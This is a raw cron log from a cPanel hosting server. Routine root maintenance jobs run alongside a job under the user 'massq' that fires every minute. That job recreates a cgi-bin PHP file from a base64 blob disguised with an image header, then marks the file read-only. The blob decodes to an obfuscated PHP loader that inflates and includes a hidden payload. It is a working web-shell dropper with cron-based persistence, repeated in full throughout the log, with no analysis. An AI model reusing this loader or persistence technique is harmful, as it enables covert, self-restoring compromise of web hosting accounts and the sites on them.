Aug 30 21:28:01 server CROND[18495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:28:01 server CROND[18496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:29:01 server CROND[18866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:29:01 server CROND[18868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:29:01 server CROND[18867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:30:01 server CROND[19240]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 21:30:01 server CROND[19244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:30:01 server CROND[19242]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 21:30:01 server CROND[19246]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 21:30:01 server CROND[19245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:30:01 server CROND[19243]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:30:01 server CROND[19249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:30:01 server CROND[19248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:31:01 server CROND[20087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:31:01 server CROND[20088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:31:01 server CROND[20089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:32:01 server CROND[20561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:32:01 server CROND[20562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:32:01 server CROND[20563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:33:01 server CROND[21002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:33:01 server CROND[21003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:33:01 server CROND[21004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:34:01 server CROND[21369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:34:01 server CROND[21370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:34:01 server CROND[21371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:35:01 server CROND[21830]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 21:35:01 server CROND[21838]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 21:35:01 server CROND[21837]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 21:35:01 server CROND[21841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:35:01 server CROND[21840]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 21:35:01 server CROND[21839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:35:01 server CROND[21836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:35:01 server CROND[21842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:35:01 server CROND[21843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:36:01 server CROND[22979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:36:01 server CROND[22980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:36:01 server CROND[22981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:37:01 server CROND[23534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:37:01 server CROND[23535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:37:01 server CROND[23536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:38:01 server CROND[23963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:38:01 server CROND[23965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:38:01 server CROND[23964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:39:01 server CROND[24355]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 21:39:01 server CROND[24356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:39:01 server CROND[24357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 21:39:01 server CROND[24358]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:40:01 server CROND[24746]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 21:40:01 server CROND[24747]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 21:40:01 server CROND[24749]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:40:01 server CROND[24751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
